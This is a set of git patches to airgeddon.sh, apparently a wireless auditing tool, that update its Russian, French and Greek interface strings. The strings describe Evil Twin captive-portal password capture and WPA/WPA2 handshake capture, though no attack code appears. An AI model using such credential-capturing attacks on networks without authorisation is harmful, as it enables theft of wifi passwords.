et_misc_texts["russian",18]="Пароль правильный, то соединение будет установлено через несколько минут" + et_misc_texts["russian",18]="Пароль верен, подключение устанавливается" et_misc_texts["greek",18]="Ο κωδικός πρόσβασης είναι σωστός, η σύνδεση θα αποκατασταθεί σε λίγα λεπτά" et_misc_texts["english",19]="Airgeddon. Captive portal Evil Twin attack captured password" @@ -408,7 +408,7 @@ function language_strings() { et_misc_texts["french",19]="Airgeddon. Mot de passe capturé par le portail captif de l'attaque Evil Twin" et_misc_texts["catalan",19]="Airgeddon. Contrasenya capturada al portal captiu de l'atac Evil Twin" et_misc_texts["portuguese",19]="Airgeddon. Senha capturada no ataque Evil Twin portal cativo" - et_misc_texts["russian",19]="Airgeddon. Пароль захватили на адаптивный портал Зла атаки Твин" + et_misc_texts["russian",19]="Airgeddon. Пароль, захваченный атакой Злой Двойник и Перехватывающим порталом" et_misc_texts["greek",19]="Airgeddon. Η επίθεση Evil Twin με captive portal κατέγραψε τον κωδικό πρόσβασης" et_misc_texts["english",20]="Attempts" @@ -416,7 +416,7 @@ function language_strings() { et_misc_texts["french",20]="Essais" et_misc_texts["catalan",20]="Intents" et_misc_texts["portuguese",20]="Tentativas" - et_misc_texts["russian",20]="пытается" + et_misc_texts["russian",20]="Попытки" et_misc_texts["greek",20]="Προσπάθειες" et_misc_texts["english",21]="last password:" @@ -432,7 +432,7 @@ function language_strings() { et_misc_texts["french",22]="Mots de passe capturés lors des tentatives infructueuses" et_misc_texts["catalan",22]="Contrasenyes capturades en intents fallits" et_misc_texts["portuguese",22]="Senhas capturadas em tentativas falhadas" - et_misc_texts["russian",22]="Пароли, захваченные в неудачных попыток" + et_misc_texts["russian",22]="Пароли, захваченные в неудачных попытках" et_misc_texts["greek",22]="Καταγεγραμμένοι κωδικοί πρόσβασης σε αποτυχημένες προσπάθειες" et_misc_texts["english",23]="Password captured successfully" @@ -440,7 +440,7 @@ function language_strings() { et_misc_texts["french",23]="Mot de passe capturé avec succès" et_misc_texts["catalan",23]="Contrasenya capturada amb èxit" et_misc_texts["portuguese",23]="Senha capturada com sucesso" - et_misc_texts["russian",23]="Пароль успешно захватили" + et_misc_texts["russian",23]="Пароль успешно захвачен" et_misc_texts["greek",23]="Ο κωδικός πρόσβασης καταγράφτηκε επιτυχώς" et_misc_texts["english",24]="The password was saved on file" @@ -448,7 +448,7 @@ function language_strings() { et_misc_texts["french",24]="Le mot de passe est enregistré dans le fichier" et_misc_texts["catalan",24]="La contrasenya s'ha guardat en el fitxer" et_misc_texts["portuguese",24]="A senha foi salva no arquivo" - et_misc_texts["russian",24]="Пароль сохраняется в файле" + et_misc_texts["russian",24]="Пароль был сохранён в файле" et_misc_texts["greek",24]="Ο κωδικός πρόσβασης αποθηκεύτηκε σε αρχείο" et_misc_texts["english",25]="Press Enter on the main script window to continue, this window will be closed" @@ -456,7 +456,7 @@ function language_strings() { et_misc_texts["french",25]="Appuyez sur Entrée dans la fenêtre principale du script pour continuer, cette fenêtre se fermera" et_misc_texts["catalan",25]="Prem Enter a la finestra principal del script per continuar, aquesta finestra es tancarà" et_misc_texts["portuguese",25]="Pressione Enter na janela principal do script para continuar e esta janela será fechada" - et_misc_texts["russian",25]="Нажмите Enter в главном окне сценария для продолжения, это окно будет закрыто" + et_misc_texts["russian",25]="Нажмите Enter в главном окне для продолжения, это окно будет закрыто" et_misc_texts["greek",25]="Πατήστε Enter στο κύριο παράθυρο του script για να συνεχίσετε, το παράθυρο αυτό θα κλείσει" et_misc_texts["english",26]="Error. The password must be at least 8 characters. Redirecting to the main screen" @@ -464,7 +464,7 @@ function language_strings() { et_misc_texts["french",26]="Erreur. La clé de sécurité doit contenir au moins 8 caractères. Retour à l'écran principal" et_misc_texts["catalan",26]="Error. La contrasenya ha de tenir almenys 8 caràcters. Redirigint a la pantalla principal" et_misc_texts["portuguese",26]="Erro. A senha deve ter no mínimo 8 caracteres. Redirecionando para a pagina principal" - et_misc_texts["russian",26]="ошибка. Пароль должен быть не менее 8 символов. Перенаправление на главный экран" + et_misc_texts["russian",26]="Ошибка. В пароле должно быть не менее 8 символов. Перенаправление на главный экран" et_misc_texts["greek",26]="σφάλμα. Ο κωδικός πρόσβασης πρέπει να είναι τουλάχιστον 8 χαρακτήρες. Θα καθοδηγηθείτε στην κύρια οθόνη" declare -A arr @@ -489,7 +489,7 @@ function language_strings() { arr["french",2]="S.E. en Français détecté. Langue prise en charge par le script et changé automatiquement" arr["catalan",2]="Idioma Català del S.O. detectat. Suportat pel script. S'ha canviat automàticament" arr["portuguese",2]="S.O. em Portugues detectado. Compatível com o script. Linguagem automaticamente alterada" - arr["russian",2]="Определена ОС на русском. Поддерживается скриптом. Автоматически изменена" + arr["russian",2]="Определена ОС на русском. Поддерживается скриптом. Автоматически изменена. Помощь на русском: https://hackware.ru/?p=670" arr["greek",2]="Εντοπίστηκε Ελληνική γλώσσα συστήματος. Υποστηρίξιμη από το script. Άλλαξε αυτόματα" arr["english",3]="Select target network :" @@ -2737,7 +2737,7 @@ function language_strings() { arr["french",283]="Interface internet sélectionnée: "${pink_color}"Aucun"${normal_color} arr["catalan",283]="Interfície amb internet seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",283]="Interface da internet selecionado: "${pink_color}"Nenhum"${normal_color} - arr["russian",283]="Выбранный интернет интерфейс: "${pink_color}"Отсутствует"${normal_color} + arr["russian",283]="Выбранный Интернет интерфейс: "${pink_color}"Отсутствует"${normal_color} arr["greek",283]="Επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο: "${pink_color}"Καμία"${normal_color} arr["english",284]="Do you want to use this selected interface? "${normal_color}"[y/n]" @@ -2761,7 +2761,7 @@ function language_strings() { arr["french",286]="$pending_of_translation Si vous ne disposez pas d'un réseau cible fichier capturé poignée de main, vous pouvez l'obtenir maintenant" arr["catalan",286]="$pending_of_translation Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-lo ara" arr["portuguese",286]="Se você não tem um arquivo Handshake capturado da rede alvo você pode obtê-lo agora" - arr["russian",286]="$pending_of_translation Если вы не имеете рукопожатия файл захваченный целевой сети вы можете получить его прямо сейчас" + arr["russian",286]="Если у вас отсутствует файл с рукопожатием целевой сети, вы можете сейчас захватить его" arr["greek",286]="Εάν δεν έχετε κάποιο αρχείο Χειραψίας από το δίκτυο-στόχος μπορείτε να το πάρετε τώρα" arr["english",287]="The script will check for internet access. Please be patient..." @@ -2953,7 +2953,7 @@ function language_strings() { arr["french",310]="Fichier Handshake sélectionné: "${pink_color}"Aucun"${normal_color} arr["catalan",310]="Fitxer de Handshake seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",310]="Arquivo de Handshake selecionado: "${pink_color}"Nenhum"${normal_color} - arr["russian",310]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"None"${normal_color} + arr["russian",310]="Выбранный файл рукопожатия: "${pink_color}"Отсутствует"${normal_color} arr["greek",310]="Επιλεγμένο αρχείο Χειραψίας: "${pink_color}"Κανένα"${normal_color} arr["english",311]="Handshake file selected: "${pink_color}"$et_handshake"${normal_color} @@ -2961,7 +2961,7 @@ function language_strings() { arr["french",311]="Fichier Handshake sélectionnée: "${pink_color}"$et_handshake"${normal_color} arr["catalan",311]="Fitxer de Handshake seleccionat: "${pink_color}"$et_handshake"${normal_color} arr["portuguese",311]="Arquivo de Handshake selecionado: "${pink_color}"$et_handshake"${normal_color} - arr["russian",311]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"$et_handshake"${normal_color} + arr["russian",311]="Выбранный файл рукопожатия: "${pink_color}"$et_handshake"${normal_color} arr["greek",311]="Επιλεγμένο αρχείο Χειραψίας: "${pink_color}"$et_handshake"${normal_color} arr["english",312]="No selected Handshake file detected during this session..." @@ -2969,7 +2969,7 @@ function language_strings() { arr["french",312]="Aucun fichier Handshake valable a été sékectionné pour cette session..." arr["catalan",312]="No s'ha detectat un fitxer de Handshake seleccionat en aquesta sessió..." arr["portuguese",312]="Nenhum arquivo de Handshake foi selecionado nesta sessão..." - arr["russian",312]="$pending_of_translation не обнаружен Рукопожатие файл, выбранный в этой сессии..." + arr["russian",312]="Во время этой сессии выбранный файл рукопожатия не обнаружен..." arr["greek",312]="Δεν εντοπίστηκε κανένα αρχείο Χειραψίας κατά τη διάρκεια της συνεδρίας..." arr["english",313]="Handshake selected file detected during this session ["${normal_color}"$et_handshake"${blue_color}"]" @@ -2977,7 +2977,7 @@ function language_strings() { arr["french",313]="Le fichier handshake suivant a été détecté comme étant sélectionné pour cette session ["${normal_color}"$et_handshake"${blue_color}"]" arr["catalan",313]="S'ha detectat un fitxer de Handshake seleccionat en aquesta sessió ["${normal_color}"$et_handshake"${blue_color}"]" arr["portuguese",313]="Um arquivo de Handshake foi capturado nesta sessão ["${normal_color}"$et_handshake"${blue_color}"]" - arr["russian",313]="$pending_of_translation Обнаружен файл Рукопожатие выбран в этой сессии ["${normal_color}"$et_handshake"${blue_color}"]" + arr["russian",313]="Обнаружен файл рукопожатия, выбранный в этой сессии ["${normal_color}"$et_handshake"${blue_color}"]" arr["greek",313]="Εντοπίστηκε επιλεγμένο αρχείο Χειραψίας κατά τη διάρκεια της συνεδρίας ["${normal_color}"$et_handshake"${blue_color}"]" arr["english",314]="Handshake file selected: "${pink_color}"$enteredpath"${normal_color} @@ -2985,7 +2985,7 @@ function language_strings() { arr["french",314]="Fichier Handshake sélectionné: "${pink_color}"$enteredpath"${normal_color} arr["catalan",314]="Fitxer de Handshake seleccionat: "${pink_color}"$enteredpath"${normal_color} arr["portuguese",314]="Arquivo Handshake selecionado: "${pink_color}"$enteredpath"${normal_color} - arr["russian",314]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"$enteredpath"${normal_color} + arr["russian",314]="Выбранный файл рукопожатия: "${pink_color}"$enteredpath"${normal_color} arr["greek",314]="Επιλεγμένο αρχείο Χειραψίας: "${pink_color}"$enteredpath"${normal_color} arr["english",315]="This attack requires that you have previously a WPA/WPA2 network captured Handshake file" @@ -2993,7 +2993,7 @@ function language_strings() { arr["french",315]="Vous devez déjà avoir capturé un Handsahke WPA/WPA2 pour pouvoir lancer cette attaque" arr["catalan",315]="Aquest atac requereix que tinguis capturat prèviament un fitxer de Handshake d'una xarxa WPA/WPA2" arr["portuguese",315]="Este ataque requer que você já tenha capturado um arquivo Handshake de uma rede WPA/WPA2" - arr["russian",315]="$pending_of_translation Эта атака требует, чтобы вы ранее захватили файл из сети Рукопожатие WPA/WPA2" + arr["russian",315]="Эта атака требует предварительного захвата файла рукопожатия для WPA/WPA2 сети" arr["greek",315]="Αυτή η επίθεση απαιτεί να έχετε προηγουμένως κατεγράψει ένα αρχείο Χειραψίας από WPA/WPA2 δίκτο" arr["english",316]="An exploration looking for targets is going to be done..." @@ -3001,7 +3001,7 @@ function language_strings() { arr["french",316]="$pending_of_translation Il effectuera un balayage des cibles..." arr["catalan",316]="$pending_of_translation Es va a realitzar una exploració a la recerca d'objectius..." arr["portuguese",316]="Uma busca por redes wifi será realizada..." - arr["russian",316]="$pending_of_translation Он выполнит сканирование для целей..." + arr["russian",316]="Выполнение сканирования целей..." arr["greek",316]="Πρόκειται να γίνει μία εξερεύνηση για έυρεση στόχων..." arr["english",317]="If the password for the wifi network is achieved with the captive portal, you must decide where to save it. "${green_color}"Type the path to store the file or press Enter to accept the default proposal "${normal_color}"[$default_et_captive_portal_logpath]" @@ -3009,7 +3009,7 @@ function language_strings() { arr["french",317]="Si un mot de passe est capté sur le portail captif il faut lui assigner un endroit pour être enregistré. "${green_color}"Entrez le chemin du fichier ou bien appuyez sur Entrée pour utiliser le chemin proposé "${normal_color}"[$default_et_captive_portal_logpath]" arr["catalan",317]="Si s'aconsegueix la contrasenya de la xarxa wifi amb el portal captiu, cal decidir on guardar-la. "${green_color}"Escriu la ruta on desarem el fitxer o prem Enter per acceptar la proposta per defecte "${normal_color}"[$default_et_captive_portal_logpath]" arr["portuguese",317]="Se a senha da rede wifi for conseguida com o portal cativo, onde deseja salvar? "${green_color}"Digite um caminho para salvar o arquivo ou pressione Enter para aceitar o padrão "${normal_color}"[$default_et_captive_portal_logpath]" - arr["russian",317]="$pending_of_translation Если пароль для беспроводной сети с адаптивным порталом достигается, решить, куда сохранить. "${green_color}"Напечатайте путь до файла для сохранения или нажмите Enter для принятия предложения по умолчанию "${normal_color}"[$default_et_captive_portal_logpath]" + arr["russian",317]="Вы должны решить, где будет сохранён пароль wifi сети, если он будет получен Перехватывающим порталом. "${green_color}"Впишите путь до файла или нажмите Enter для принятия значения по умолчанию "${normal_color}"[$default_et_captive_portal_logpath]" arr["greek",317]="Εάν ο κωδικός πρόσβασης του δικτύου wifi επιτευχθεί με captive portal, θα πρέπει να αποφασίσετε που θα τον αποθηκεύσετε. "${green_color}"Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε Enter για την προεπιλεγμένη επιλογή "${normal_color}"[$default_et_captive_portal_logpath]" arr["english",318]="Choose the language in which network clients will see the captive portal :" @@ -3017,7 +3017,7 @@ function language_strings() { arr["french",318]="Choisissez la langue dans laquelle les clients du réseau verront le portail captif :" arr["catalan",318]="Tria l'idioma en el qual els clients de la xarxa veuran el portal captiu :" arr["portuguese",318]="Escolha o idioma em que os clientes da rede irão ver o portal cativo :" - arr["russian",318]="$pending_of_translation Выберите язык, на котором клиенты сети будут видеть адаптивный портал :" + arr["russian",318]="Выберите язык, на котором клиенты сети будут видеть перехватывающий портал :" arr["greek",318]="Επιλέξτε τη γλώσσα που θα βλέπουν οι χρήστες του δικτύου το captive portal :" arr["english",319]="The captive portal language has been established" @@ -3025,7 +3025,7 @@ function language_strings() { arr["french",319]="La langue pour le portail captif est activée" arr["catalan",319]="S'ha establert l'idioma del portal captiu" arr["portuguese",319]="A língua foi selecionada portal cativo" - arr["russian",319]="$pending_of_translation Язык был создан адаптивный портал" + arr["russian",319]="Язык перехватывающего портала установлен" arr["greek",319]="Εγκαταστάθηκε η γλώσσα του captive portal" arr["english",320]="7. Greek" @@ -3033,7 +3033,7 @@ function language_strings() { arr["french",320]="7. Grec" arr["catalan",320]="7. Grec" arr["portuguese",320]="7. Grego" - arr["russian",320]="7. греческий" + arr["russian",320]="7. Греческий" arr["greek",320]="7. Ελληνικά" arr["english",321]="Do you already have a captured Handshake file? "${blue_color}"Answer yes (\"y\") to enter the path or answer no (\"n\") to capture a new one now "${normal_color}"[y/n]" @@ -3041,7 +3041,7 @@ function language_strings() { arr["french",321]="$pending_of_translation Avez-vous déjà un fichier de Handshake capturé? "${blue_color}"Réponse oui (\"y\") pour entrer dans le chemin d'accès ou ne répond pas (\"n\") pour capturer un maintenant "${normal_color}"[y/n]" arr["catalan",321]="$pending_of_translation ¿Tens ja un fitxer de Handshake capturat? "${blue_color}"Respon si (\"y\") per introduir la ruta o respon no (\"n\") per capturar un ara "${normal_color}"[y/n]" arr["portuguese",321]="Você já tem um arquivo Handshake capturado? "${blue_color}"Responda sim (\"y\") para colocar o caminho do arquivo ou responda não (\"n\") para capturar um novo arquivo agora "${normal_color}"[y/n]" - arr["russian",321]="$pending_of_translation У Вас уже есть файл захваченный Рукопожатие? "${blue_color}"Ответ да (\"y\"), чтобы войти в путь или нет ответа Нет (\"n\"), чтобы захватить новую прямо сейчас "${normal_color}"[y/n]" + arr["russian",321]="У вас уже есть захваченный файл рукопожатия? "${blue_color}"Ответьте Да (\"y\"), для ввода пути или ответьте Нет (\"n\"), для захвата нового рукопожатия "${normal_color}"[y/n]" arr["greek",321]="Έχετε ήδη κάποιο αρχείο Χειραψίας; "${blue_color}"Απαντήστε ναι (\"y\") για να εισαγάγετε το μονοπάτι ή απαντήστε όχι (\"n\") για να καταγράψετε ένα νέο τώρα "${normal_color}"[y/n]" arr["english",322]="It has been checked that there is a Handshake of the chosen target network while checking the selected capture file. Script can continue..." @@ -3049,7 +3049,7 @@ function language_strings() { arr["french",322]="$pending_of_translation Il a été constaté qu'il existe un Handshake réseau choisi comme cible pour l'exploration dans le fichier de capture sélectionné. Le script peut continuer..." arr["catalan",322]="$pending_of_translation S'ha comprovat que hi ha un Handshake de la xarxa triada com a objectiu durant l'exploració en el fitxer de captura seleccionat. El script pot continuar..." arr["portuguese",322]="Verificou-se que no arquivo de captura existe um Handshake da rede da selecionada como o alvo. O script pode continuar..." - arr["russian",322]="$pending_of_translation Было установлено, что существует сеть Квитирующий выбрана в качестве цели для исследования в выбранном файле записи. Скрипт может продолжать..." + arr["russian",322]="Проверка подтвердила, что рукопожатие относится к выбранной целевой сети. Скрипт может продолжать..." arr["greek",322]="Εντοπίστηκε η παρουσία Χειραψίας για το επιλεγμένο δίκτυο-στόχος καθώς γινόταν έλεγχος του επιλεγμένου αρχείου καταγραφής. Το script μπορεί να συνεχίσει..." arr["english",323]="There is no Handshake of the selected network on the capture file" @@ -3057,7 +3057,7 @@ function language_strings() { arr["french",323]="$pending_of_translation Il n'a pas trouvé un Handshake réseau sélectionné dans le fichier de capture" arr["catalan",323]="$pending_of_translation No s'ha trobat un Handshake de la xarxa seleccionada en el fitxer de captura" arr["portuguese",323]="Não foi encontrado nenhum Handshake da rede selecionada no arquivo de captura" - arr["russian",323]="$pending_of_translation Он не нашел сети Рукопожатие, выбранный в файле захвата" + arr["russian",323]="В файле захвата отсутствует рукопожатие выбранной сети" arr["greek",323]="Δεν υπάρχει Χειραψία του επιλεγμένου δικτύου στο αρχείο καταγραφής" arr["english",324]="Handshake file generated successfully at ["${normal_color}"$et_handshake"${blue_color}"]" @@ -3065,7 +3065,7 @@ function language_strings() { arr["french",324]="Fichier Handshake généré avec succès dans ["${normal_color}"$et_handshake"${blue_color}"]" arr["catalan",324]="Fitxer de Handshake generat amb èxit a ["${normal_color}"$et_handshake"${blue_color}"]" arr["portuguese",324]="Arquivo Handshake gerado com sucesso ["${normal_color}"$et_handshake"${blue_color}"]" - arr["russian",324]="Файл рукопожания успешно сгенерирован в ["${normal_color}"$et_handshake"${blue_color}"]" + arr["russian",324]="Файл рукопожатия успешно создан в ["${normal_color}"$et_handshake"${blue_color}"]" arr["greek",324]="Το αρχείο Χειραψίας δημιουργήθηκε επιτυχώς στο ["${normal_color}"$et_handshake"${blue_color}"]" arr["english",325]="Wait. Be patient..." @@ -3073,7 +3073,7 @@ function language_strings() { arr["french",325]="$pending_of_translation Attendez. Ayez un peu de patience..." arr["catalan",325]="$pending_of_translation Espera. Tingues una mica de paciència..." arr["portuguese",325]="Aguarde. Por favor, seja paciente..." - arr["russian",325]="$pending_of_translation Подождите. Имейте немного терпения..." + arr["russian",325]="Пожалуйста, подождите..." arr["greek",325]="Περιμένετε. Έχετε λίγη υπομονή..." case "$3" in From c6a3fb7d9732c4c5ac0ab0eac0d288464e59a10c Mon Sep 17 00:00:00 2001 From: oscarAkaElvis Date: Mon, 10 Oct 2016 17:50:19 +0200 Subject: [PATCH 18/23] Some french translations added. --- airgeddon.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index c38f81f32..f60a6ae58 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2758,7 +2758,7 @@ function language_strings() { arr["english",286]="If you don't have a captured Handshake file from the target network you can get it now" arr["spanish",286]="Si no tienes un fichero de Handshake capturado de la red objetivo puedes obtenerlo ahora" - arr["french",286]="$pending_of_translation Si vous ne disposez pas d'un réseau cible fichier capturé poignée de main, vous pouvez l'obtenir maintenant" + arr["french",286]="Si vous n'avez pas un fichier de capture contenant un Handshake du réseau cible vous pouvez l'obtenir maintenant" arr["catalan",286]="$pending_of_translation Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-lo ara" arr["portuguese",286]="Se você não tem um arquivo Handshake capturado da rede alvo você pode obtê-lo agora" arr["russian",286]="Если у вас отсутствует файл с рукопожатием целевой сети, вы можете сейчас захватить его" @@ -2998,7 +2998,7 @@ function language_strings() { arr["english",316]="An exploration looking for targets is going to be done..." arr["spanish",316]="Se va a realizar una exploración en busca de objetivos..." - arr["french",316]="$pending_of_translation Il effectuera un balayage des cibles..." + arr["french",316]="Recherche de réseaux cible..." arr["catalan",316]="$pending_of_translation Es va a realitzar una exploració a la recerca d'objectius..." arr["portuguese",316]="Uma busca por redes wifi será realizada..." arr["russian",316]="Выполнение сканирования целей..." @@ -3038,7 +3038,7 @@ function language_strings() { arr["english",321]="Do you already have a captured Handshake file? "${blue_color}"Answer yes (\"y\") to enter the path or answer no (\"n\") to capture a new one now "${normal_color}"[y/n]" arr["spanish",321]="¿Tienes ya un fichero de Handshake capturado? "${blue_color}"Responde sí (\"y\") para introducir la ruta o responde no (\"n\") para capturar uno ahora "${normal_color}"[y/n]" - arr["french",321]="$pending_of_translation Avez-vous déjà un fichier de Handshake capturé? "${blue_color}"Réponse oui (\"y\") pour entrer dans le chemin d'accès ou ne répond pas (\"n\") pour capturer un maintenant "${normal_color}"[y/n]" + arr["french",321]="Avez-vous déjà un fichier contenant un Handshake capturé? "${blue_color}"Répondre oui (\"y\") pour en saisir la route o buien répondre non (\"n\") pour le capturer "${normal_color}"[y/n]" arr["catalan",321]="$pending_of_translation ¿Tens ja un fitxer de Handshake capturat? "${blue_color}"Respon si (\"y\") per introduir la ruta o respon no (\"n\") per capturar un ara "${normal_color}"[y/n]" arr["portuguese",321]="Você já tem um arquivo Handshake capturado? "${blue_color}"Responda sim (\"y\") para colocar o caminho do arquivo ou responda não (\"n\") para capturar um novo arquivo agora "${normal_color}"[y/n]" arr["russian",321]="У вас уже есть захваченный файл рукопожатия? "${blue_color}"Ответьте Да (\"y\"), для ввода пути или ответьте Нет (\"n\"), для захвата нового рукопожатия "${normal_color}"[y/n]" @@ -3046,7 +3046,7 @@ function language_strings() { arr["english",322]="It has been checked that there is a Handshake of the chosen target network while checking the selected capture file. Script can continue..." arr["spanish",322]="Se ha comprobado que existe un Handshake de la red elegida como objetivo durante la exploración en el fichero de captura seleccionado. El script puede continuar..." - arr["french",322]="$pending_of_translation Il a été constaté qu'il existe un Handshake réseau choisi comme cible pour l'exploration dans le fichier de capture sélectionné. Le script peut continuer..." + arr["french",322]="Un Handhsake du réseau cible a bien été retrouvé dans le paquet de capture préalablement choisi. Le script peut donc continuer..." arr["catalan",322]="$pending_of_translation S'ha comprovat que hi ha un Handshake de la xarxa triada com a objectiu durant l'exploració en el fitxer de captura seleccionat. El script pot continuar..." arr["portuguese",322]="Verificou-se que no arquivo de captura existe um Handshake da rede da selecionada como o alvo. O script pode continuar..." arr["russian",322]="Проверка подтвердила, что рукопожатие относится к выбранной целевой сети. Скрипт может продолжать..." @@ -3054,7 +3054,7 @@ function language_strings() { arr["english",323]="There is no Handshake of the selected network on the capture file" arr["spanish",323]="No se ha encontrado un Handshake de la red seleccionada en el fichero de captura" - arr["french",323]="$pending_of_translation Il n'a pas trouvé un Handshake réseau sélectionné dans le fichier de capture" + arr["french",323]="Aucun Handshake du réseau cible n'a été retrouvé dans le fichier de captures" arr["catalan",323]="$pending_of_translation No s'ha trobat un Handshake de la xarxa seleccionada en el fitxer de captura" arr["portuguese",323]="Não foi encontrado nenhum Handshake da rede selecionada no arquivo de captura" arr["russian",323]="В файле захвата отсутствует рукопожатие выбранной сети" @@ -3070,7 +3070,7 @@ function language_strings() { arr["english",325]="Wait. Be patient..." arr["spanish",325]="Espera. Ten un poco de paciencia..." - arr["french",325]="$pending_of_translation Attendez. Ayez un peu de patience..." + arr["french",325]="Attendez. Soyez un peu patients..." arr["catalan",325]="$pending_of_translation Espera. Tingues una mica de paciència..." arr["portuguese",325]="Aguarde. Por favor, seja paciente..." arr["russian",325]="Пожалуйста, подождите..." From e8b7f5075f81cfdb76e43548757729037bd87d9a Mon Sep 17 00:00:00 2001 From: xtonousou Date: Mon, 10 Oct 2016 19:47:00 +0300 Subject: [PATCH 19/23] Updated Greek translations. (#26) --- airgeddon.sh | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index f60a6ae58..f1c1b9b15 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -385,7 +385,7 @@ function language_strings() { et_misc_texts["catalan",16]="La contrasenya ha de tenir almenys 8 caràcters" et_misc_texts["portuguese",16]="A senha deve ter no mínimo 8 caracteres" et_misc_texts["russian",16]="Длина пароля должна быть не менее 8 символов" - et_misc_texts["greek",16]="Ο κωδικός πρόσβασης πρέπει να είναι τουλάχιστον 8 χαρακτήρες" + et_misc_texts["greek",16]="Ο κωδικός πρόσβασης πρέπει να αποτελείται από τουλάχιστον 8 χαρακτήρες" et_misc_texts["english",17]="The password is incorrect, redirecting to the main screen" et_misc_texts["spanish",17]="La contraseña introducida es incorrecta, redirigiendo a la pantalla principal" @@ -465,7 +465,7 @@ function language_strings() { et_misc_texts["catalan",26]="Error. La contrasenya ha de tenir almenys 8 caràcters. Redirigint a la pantalla principal" et_misc_texts["portuguese",26]="Erro. A senha deve ter no mínimo 8 caracteres. Redirecionando para a pagina principal" et_misc_texts["russian",26]="Ошибка. В пароле должно быть не менее 8 символов. Перенаправление на главный экран" - et_misc_texts["greek",26]="σφάλμα. Ο κωδικός πρόσβασης πρέπει να είναι τουλάχιστον 8 χαρακτήρες. Θα καθοδηγηθείτε στην κύρια οθόνη" + et_misc_texts["greek",26]="Σφάλμα. Ο κωδικός πρόσβασης πρέπει να αποτελείται από τουλάχιστον 8 χαρακτήρες. Θα καθοδηγηθείτε στην κύρια οθόνη" declare -A arr arr["english",0]="This interface $interface is already in managed mode" @@ -570,7 +570,7 @@ function language_strings() { arr["catalan",12]=${blue_color}"Interrupció detectada. "${green_color}"¿Realment vols sortir de l'script? "${normal_color}"[y/n]" arr["portuguese",12]=${blue_color}"Interrupção detectada. "${green_color}"Você quer realmente sair o script? "${normal_color}"[y/n]" arr["russian",12]=${blue_color}"Обнаружено прерывание. "${green_color}"Вы действительно хотите выйти? "${normal_color}"[y/n]" - arr["greek",12]=${blue_color}"Εντοπίστηκε διακοπή. "${green_color}"Είστε σίγουροι ότι θέλετε να τερματίσετε το script? "${normal_color}"[y/n]" + arr["greek",12]=${blue_color}"Εντοπίστηκε διακοπή. "${green_color}"Είστε σίγουροι ότι θέλετε να τερματίσετε το script; "${normal_color}"[y/n]" arr["english",13]="This interface $interface is not a wifi card. It doesn't support monitor mode" arr["spanish",13]="Esta interfaz $interface no es una tarjeta wifi. No soporta modo monitor" @@ -1634,7 +1634,7 @@ function language_strings() { arr["catalan",145]="¿Has aconseguit el Handshake? "${pink_color}"(Mira a la part superior dreta de la finestra de captura) "${normal_color}"[y/n]" arr["portuguese",145]="O Handshake foi obtido? "${pink_color}"(Olhe para o canto superior direito da janela de captura) "${normal_color}"[y/n]" arr["russian",145]="Вы получили рукопожатие? "${pink_color}"(Смотрите на верхний правый угол окна захвата) "${normal_color}"[y/n]" - arr["greek",145]="Πήρατε την Χειραψία? "${pink_color}"(Κοιτάξτε στη δεξιά πάνω γωνία του παραθύρου) "${normal_color}"[y/n]" + arr["greek",145]="Πήρατε την Χειραψία; "${pink_color}"(Κοιτάξτε στη πάνω δεξιά γωνία του παραθύρου) "${normal_color}"[y/n]" arr["english",146]="It seems we failed... try it again or choose another attack" arr["spanish",146]="Parece que no lo hemos conseguido... inténtalo de nuevo o elige otro ataque" @@ -1690,7 +1690,7 @@ function language_strings() { arr["catalan",152]="¿Vols netejar/optimitzar el fitxer de Handshake capturat en aquesta sessió? "${normal_color}"[y/n]" arr["portuguese",152]="Quer limpar/otimizar o arquivo handshake capturado nesta sessão? "${normal_color}"[y/n]" arr["russian",152]="Вы хотите очистить/оптимизировать захваченный за эту сессию файл рукопожания? "${normal_color}"[y/n]" - arr["greek",152]="Θέλετε να καθαρήσετε/βελτιστοποιήσετε το αρχείο καταγραφής Χειραψίας της συνεδρίας? "${normal_color}"[y/n]" + arr["greek",152]="Θέλετε να καθαρίσετε/βελτιστοποιήσετε το αρχείο καταγραφής Χειραψίας της συνεδρίας; "${normal_color}"[y/n]" arr["english",153]="File cleaned/optimized successfully" arr["spanish",153]="Fichero limpiado/optimizado con éxito" @@ -1946,7 +1946,7 @@ function language_strings() { arr["catalan",184]="¿Vols fer servir aquest fitxer de diccionari ja seleccionat? "${normal_color}"[y/n]" arr["portuguese",184]="Você quer usar esse arquivo de dicionário já seleccionada? "${normal_color}"[y/n]" arr["russian",184]="Вы хотите использовать этот уже выбранный файл словаря? "${normal_color}"[y/n]" - arr["greek",184]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο λεξικό? "${normal_color}"[y/n]" + arr["greek",184]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο λεξικό; "${normal_color}"[y/n]" arr["english",185]="Selected BSSID: "${pink_color}"None"${normal_color} arr["spanish",185]="BSSID seleccionado: "${pink_color}"Ninguno"${normal_color} @@ -1970,7 +1970,7 @@ function language_strings() { arr["catalan",187]="¿Vols fer servir aquest fitxer de captura ja seleccionat? "${normal_color}"[y/n]" arr["portuguese",187]="Você quer usar esse arquivo de captura selecionado? "${normal_color}"[y/n]" arr["russian",187]="Вы хотите использовать этот уже выбранный файл захвата? "${normal_color}"[y/n]" - arr["greek",187]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο αρχείο καταγραφής? "${normal_color}"[y/n]" + arr["greek",187]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο αρχείο καταγραφής; "${normal_color}"[y/n]" arr["english",188]="Enter the path of a captured file :" arr["spanish",188]="Introduce la ruta de un fichero de captura :" @@ -2018,7 +2018,7 @@ function language_strings() { arr["catalan",193]="¿Vols fer servir aquest BSSID ja seleccionat? "${normal_color}"[y/n]" arr["portuguese",193]="Você quer 